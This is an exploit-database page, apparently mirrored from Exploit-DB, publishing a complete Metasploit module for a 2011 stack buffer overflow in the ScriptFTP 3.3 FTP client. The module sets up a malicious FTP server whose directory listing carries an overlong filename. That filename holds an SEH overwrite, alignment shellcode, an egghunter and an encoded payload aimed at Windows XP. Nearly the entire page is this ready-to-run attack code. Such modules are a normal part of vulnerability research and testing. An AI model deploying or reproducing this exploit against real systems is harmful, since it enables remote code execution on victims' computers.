Search...

ScriptFTP 3.3 - Remote Buffer Overflow MSF

2011-09-29T00:00:00
ID EDB-ID:17904
Type exploitdb
Reporter otoy
Modified 2011-09-29T00:00:00

Description

ScriptFTP 3.3 - Remote Buffer Overflow (MSF). CVE-2011-3976. Remote exploit for windows platform

                                        
                                            #Exploit Title: ScriptFTP 3.3 Remote Buffer Overflow (MSF)
#Date: Sept 20 2011
#Author: otoy
#Version: 3.3
#Tested on: Windows XP SP3
#CVE : -
#EDB-ID: 17876
#Thanks: cyb3r.anbu, spentera-team, dE-team, offsec, exploit-db, corelanc0d3r


class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Exploit::Remote::FtpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ScriptFTP 3.3 Remote Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in ScriptFTP 3.3 ftp client. The overflow is
				triggered when the client connects to a FTP server which sends an overly long directory
				and filename in response to a GETLIST command.

				This will cause an access violation, and will eventually overwrite the saved extended
				instruction pointer.  
			},
			'Author' 	 =>
				[
					'modpr0be', 	# Original bug
					'Cyberheb',	# porting from poc to msf
					'Otoy', 	# final msf module
				],
			'License'        => MSF_LICENSE,
			'Version'        => "0",
			'References'     =>
				[
					[ 'OSVDB', '75633'],
					[ 'URL', 'http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
                                        'Space'    => 1000,
                                        'DisableNops' => true,
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'BadChars'  =>  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
                    			'EncoderOptions' =>
                        			{
                            				'BufferRegister' => 'EDX',
                        			}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Universal', { 'Ret' => "\x45\x5B", 'Offset' => 1746 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Sept 20 2011',
			'DefaultTarget'  => 0))

	end

	def setup
		super
	end

	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end


	#Unicode Encoder
    	def get_unicode_payload(p)
        	encoder = framework.encoders.create("x86/unicode_upper")
        	encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} )
        	unicode_payload = encoder.encode(p, nil, nil, platform)
        	return unicode_payload
    	end


	def on_client_command_list(c,arg)
		conn = establish_data_connection(c)
		if(not conn)
			c.put("425 Can't build data connection\r\n")
			return
		end
		print_status(" - Data connection set up")
		code = 150
		c.put("#{code} Here comes the directory listing.\r\n")
		code = 226
		c.put("#{code} Directory send ok.\r\n")


		sampahawal = "A" * 1746
		nseh = "\x61\x62"
		seh = target['Ret']
		sampahbawah = 1250

                #prepare for align
            	align = "\x60"                      #pushad
            	align << "\x73"                     #nop/align
            	align << "\x53"                     #push ebx
            	align << "\x73"                     #nop/align
            	align << "\x58"                     #pop eax
            	align << "\x73"                     #nop/align
            	align << "\x05\x02\x11"             #add eax,0x11000200
            	align << "\x73"                     #nop/align
            	align << "\x2d\x01\x11"             #sub eax,0x11000120
            	align << "\x73"                     #nop/align

		#align after egg
            	align2 = "\x73\x57\x73\x58\x73"             #nop/push edi/nop/pop eax/nop
            	align2 << "\xb9\x1b\xaa"                    #mov ecx,0xaa001b00
            	align2 << "\xe8\x73"                        #add al,ch + nop
            	align2 << "\x50\x73\xc3"                    #push eax,nop,ret

            	#walking
            	walk = "\x50"                               #push eax
            	walk << "\x73"                              #nop/align
 	        walk << "\xc3"                              #ret

		#egghunter
            	egghunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA"
                egghunter << "IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5"
                egghunter << "8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB"
                egghunter << "ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1"
                egghunter << "HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O"
                egghunter << "SEYWKOYWA"

		#junk
		sampah1 = "\x44" * 106 + "\x73"
		sampah2 = "\x42" * 544

		#egg
		telur = "0t0t"
		
		#payload
		stubget = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
		palpha = stubget + payload.encoded
		puni = get_unicode_payload(palpha)
		
		#filename
		filename = sampahawal
		filename << nseh
		filename << seh
		filename << align
		filename << walk
		filename << sampah1
		filename << egghunter
		filename << sampah2
		filename << telur
		filename << align2
		filename << puni
		filename << sampah1

		print_status(" - Sending directory list via data connection")
                dirlist = "-rwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}.txt\r\n"
                dirlist << "drwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}\r\n"
                dirlist << "-rwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}.txt\r\n"
		conn.put(dirlist)
		conn.close
		return
	end

end
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by